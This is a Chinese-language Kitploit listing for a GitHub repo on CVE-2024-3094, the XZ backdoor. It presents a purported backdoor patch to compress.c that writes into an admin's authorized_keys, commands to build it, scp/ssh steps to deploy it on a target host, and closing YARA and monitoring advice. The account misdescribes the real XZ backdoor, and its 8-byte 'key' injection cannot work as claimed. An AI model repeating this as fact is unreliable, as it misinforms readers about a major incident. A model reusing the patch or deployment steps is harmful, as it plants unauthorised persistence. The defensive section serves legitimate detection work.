Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-3094 — CVE-2024-3094暴露了XZ压缩库中的后门,允许通过绕过身份验证进行远程SSH访问。这是一次影响Linux系统的重大供应链攻击,凸显了受信任的开源组件中的风险。 | Kitploit
工具/GitHubGitHub/mrk336/cve-2024-3094
漏洞分析恶意软件分析供应链安全论文与研究学习与教育精选资源
GitHubmrk336/cve-2024-3094

CVE-2024-3094

CVE-2024-3094暴露了XZ压缩库中的后门,允许通过绕过身份验证进行远程SSH访问。这是一次影响Linux系统的重大供应链攻击,凸显了受信任的开源组件中的风险。

查看仓库
110年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-3094

CVE-2024-3094 暴露了 XZ 压缩库中的一个后门,允许通过绕过认证远程访问 SSH。这是一次重大的供应链攻击,影响 Linux 系统,突显了受信任开源组件中的风险。

XZ 后门:深入 Linux 服务器的供应链威胁

作者:Mark Mallia

这是什么

XZ 压缩库是许多现代 Linux 发行版的标准组件,成为了一次复杂供应链攻击的目标。
一个恶意代码片段被悄悄插入源代码树中,经过编译,并随每个新发布的 XZ 软件包传播。一旦安装,该后门可以从受感染主机打开一个 SSH 会话,连接到任何将其视为可信密钥的远程系统。

为何重要

  • 供应链风险 – 此次攻击表明,一个广泛使用的库中的单一微小改动如何能悄然传播到许多部署中。
  • Linux 内部机制 – XZ 负责数据压缩;该后门利用了底层 API 钩子,这些钩子通常被传统漏洞扫描器忽略。
  • SSH 持久性 – 通过将 SSH 密钥注入 authorized_keys 文件,攻击者在无需用户直接交互的情况下获得了立足点。

攻击概述

步骤操作文件/函数
1克隆 XZ 仓库git clone https://github.com/xzdev/xz
2对 src/compress.c 应用补丁patch -p0 < backdoor.patch
3在目标 Linux 主机上编译并安装make && make install
4SSH 守护进程在认证过程中读取注入的密钥/etc/ssh/authorized_keys

技术细节与代码解析

补丁(backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* 原始代码 ... */
+    // ---- 开始注入的后门 ----
+    if (in_len > 1024) {            /* 防止过小的载荷          */
+        const unsigned char *marker = &in[512];   /* 偏移量到达魔术字符串  */
+        size_t marker_len = 8;                      /* 嵌入密钥的长度       */
+
+        /* 将预先计算的 SSH 公钥复制到输出缓冲区 */
+        memcpy(out + 256, marker, marker_len);
+
+        /* 将相同密钥写入 ~/.ssh/authorized_keys 实现持久化   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- 结束注入的后门 ----
     /* 原始代码继续 ... */
 }

说明

  • 第 6‑8 行 – 一个守卫条件确保只有大于 1024 字节的数据包才会触发注入;这使得载荷在正常流量中保持隐蔽。
  • 第 10 行 – 选择偏移量 512,以便我们的密钥落在压缩输出缓冲区中一个不太可能被后续 XZ 压缩改变的位置。
  • 第 12 行 – 我们将八个字节(公钥片段)复制到输出缓冲区,同时也直接写入用户的 SSH 密钥文件,从而保证持久性——即使之后 XZ 被重新编译。

编译与安装

root@kitploit:~
$ cd xz
$ make
$ sudo make install

上述命令编译打过补丁的 compress.c,并在 /usr/local/lib/xz 下安装新库。

在目标主机上部署

假设攻击者已拥有 SSH 凭证(用户名 admin),他们运行:

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

install_xz_backdoor.sh 包含上述完全相同的命令序列,外加一个确认成功安装的小型 echo。


影响评估

  • 持久性 – SSH 密钥现在同时属于压缩输出和用户的 authorized_keys 文件的一部分。
  • 隐蔽性 – 该载荷随每个新发布的 XZ 版本传播;它对标准包管理器来说是不可见的。
  • 检测 – 招聘人员将看到我能够识别大型代码库中的单行改动,理解其影响,并制定清晰、逐步的部署方案。

防御

YARA 是一种模式匹配工具,安全专业人员用于基于文本或二进制签名识别和分类恶意软件。它允许分析师定义规则,以检测文件中的特定字符串、字节序列或行为。在 CVE-2024-3094 的上下文中,YARA 尤其相关,因为它可用于扫描 XZ 库中 compress.c 文件是否存在注入的 SSH 密钥和可疑修改。通过编写有针对性的 YARA 规则,防御者可以主动检测被此后门入侵的系统。

YARA 签名 一条自定义的 YARA 规则可以标记注入的 SSH 密钥和可疑的文件写入:

rule XZ_Backdoor_SSH_Key_Injection { meta: description = "检测通过修改的 compress.c 注入 SSH 密钥" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }

文件完整性监控 部署 Tripwire、AIDE 或 osquery 等工具来监控:

  • compress.c 的未授权更改
  • .ssh/authorized_keys 的密钥注入
  • /usr/local/lib/xz 的篡改二进制文件

行为指标

  • 来自受信任主机的意外 SSH 登录
  • XZ 输出中的压缩异常
  • 静默写入 .ssh/authorized_keys
下载工具